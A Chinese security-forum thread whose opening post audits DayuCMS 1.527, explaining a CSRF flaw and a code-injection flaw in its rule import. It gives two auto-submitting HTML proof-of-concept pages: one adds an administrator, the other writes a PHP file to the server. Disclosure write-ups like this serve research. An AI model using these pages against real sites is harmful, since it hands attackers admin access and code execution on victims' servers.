[【通过】] DayuCMS 1.527 CSRF漏洞可GetShell

[复制链接]
compress 发表于 2017-3-17 21:05:42 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 25

本帖最后由 compress 于 2017-3-17 21:07 编辑

0x00 背景

下载链接:
站长之家:http://down.chinaz.com/soft/34205.htm
官网:http://www.dayucms.com/show/?id=105&page=1&siteid=1

首先是感觉代码加固过,可能被之前的白帽子审计过,审计完才发现JoyChou早已对1.526的版本撸过一遍了,具体见:http://www.joychou.org/index.php ... code-execution.html

0x01 CSRF

初看源码时感觉IP是无法伪造的,XSS和SQL注入方面代码当中也有一些加固。想要找找短板,于是乎来到比较容易被忽略的CSRF。首先利用管理员账号登录后台,看看在一些表单提交处是否有hidden的token,在添加管理员处用burp抓包看看:

1.png

的确是没有的,只有一些添加的管理员信息,再到对应的代码中看看,在dayucms.php的38行,是要对应包含admin/admin.inc.php文件:

2.png

在admin.inc.php的开头并没有对referer进行验证就开始操作对应的action:

3.png

于是一趟下来就很愉快:

4.png

下面简单给个PoC代码

<!DOCTYPE html>
<html>
<head>
        <title>test</title>
</head>
<body>
        <form action="http://localhost/dayucms/dayucms.php?file=admin&action=add&roleid=1" method="post">
                <input type="hidden" name="do_submit" value="1">
                <input type="hidden" name="newadmin[roleid]" value="1">
                <input type="hidden" name="newadmin[username]" value="larry">
                <input type="hidden" name="newadmin[password]" value="larry">
                <input type="hidden" name="newadmin[category][]" value="0">
                <input type="hidden" name="newadmin[allowmultilogin]" value="1">
                <input type="hidden" name="newadmin[disabled]" value="0">
        </form>

        <script type="text/javascript">
                document.forms[0].submit();
        </script>
</body>
</html>
最后使用虚拟机搭建PoC来验证CSRF,结果可成功添加管理员:

5.png

0x02 代码执行

本来以为就存在个CSRF,不过再耐心看看也是定位到了global.func.php的string2array函数,很明显得存在代码注入可执行任意php代码:

6.png

可是再一查找全局调用该函数的地方,可能由于代码之前被爆过一次漏洞,发现用到的php脚本都是和后台相关联的,也就是需要登录后台才可以利用:

7.png

所以就定位到在gather.class.php中gather对象的import方法会$data[1]字段在base64解码后传入string2array函数:

8.png

对应得在gather.inc.php文件中对规则的导入使用import这一action,进而可以造成代码注入执行:

9.png

在后台导入规则处传入`larry-'larry';phpinfo()的base64`编码`bGFycnk=-J2xhcnJ5JztwaHBpbmZvKCk=`后('-'分割),即可执行php代码:

10.png

0x03 结合

后台执行代码太low怎么办,那就结合呀,正好利用CSRF就可以GetShell了,原理也是相同的,如图所示:

11.png

PoC代码如下:<!DOCTYPE html>
<html>
<head>
        <title>test</title>
</head>
<body>
        <form action="http://192.168.1.103/dayucms/dayucms.php?mod=gather&file=gather&action=import" method="post">
                <input type="hidden" name="do_submit" value="1">
                <input type="hidden" name="importdata" value="bGFycnk=-MTtmcHV0cyhmb3BlbihiYXNlNjRfZGVjb2RlKCdiR0Z5Y25rdWNHaHcnKSwndycpLGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFnY0dod2FXNW1ieWdwT3lBL1BnJykp">
                <input type="hidden" name="1" value="导入规则">
        </form>

        <script type="text/javascript">
                document.forms[0].submit();
        </script>
</body>
</html>

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

Siro 发表于 2017-3-17 22:33:04 | 显示全部楼层

正式成员|主题 |帖子 |积分 28

我撸多了吗  一眼看成dedecms了
WHILE 发表于 2017-3-17 23:05:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

#在这里快速回复#

评分

参与人数 1酒票 -8 收起 理由
管理05 -8 请勿灌水

查看全部评分

WayZzz 发表于 2017-3-17 23:14:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 212

楼上这是什么情况。。。
小透明 发表于 2017-3-18 09:39:02 | 显示全部楼层

正式成员|主题 |帖子 |积分 153

楼上灌水???@管理05
管理05 发表于 2017-3-18 12:05:39 | 显示全部楼层

管理|主题 |帖子 |积分 936

RE: DayuCMS 1.527 CSRF漏洞可GetShell

轩轩爱渗透 发表于 2017-3-18 09:39
楼上灌水???@管理05

已经处理
3ay0 发表于 2017-3-18 13:07:00 | 显示全部楼层

乞丐|主题 |帖子 |积分 -3

刚好最近在看代码审计  谢谢分享
WHILE 发表于 2017-3-21 13:40:58 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

本帖最后由 WHILE 于 2017-3-21 13:42 编辑

擦。。。我怀疑我的浏览器真的有问题!这个狗蛋的360
WHILE 发表于 2017-3-21 13:40:59 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

本帖最后由 WHILE 于 2017-3-21 13:43 编辑

对不起。对不起。这个真不是有意的。我不知道为什么一点这篇帖子就会自动发。都TMD是360极速浏览器。
WHILE 发表于 2017-3-21 13:41:00 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

本帖最后由 WHILE 于 2017-3-21 13:43 编辑

心凉了。感觉真的是被封号的节奏。
WHILE 发表于 2017-3-21 13:41:01 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

本帖最后由 WHILE 于 2017-3-21 13:44 编辑

我以后再也不用360极速浏览器了!!!!对不起,我不是恶意灌水
快速回复 返回顶部 返回列表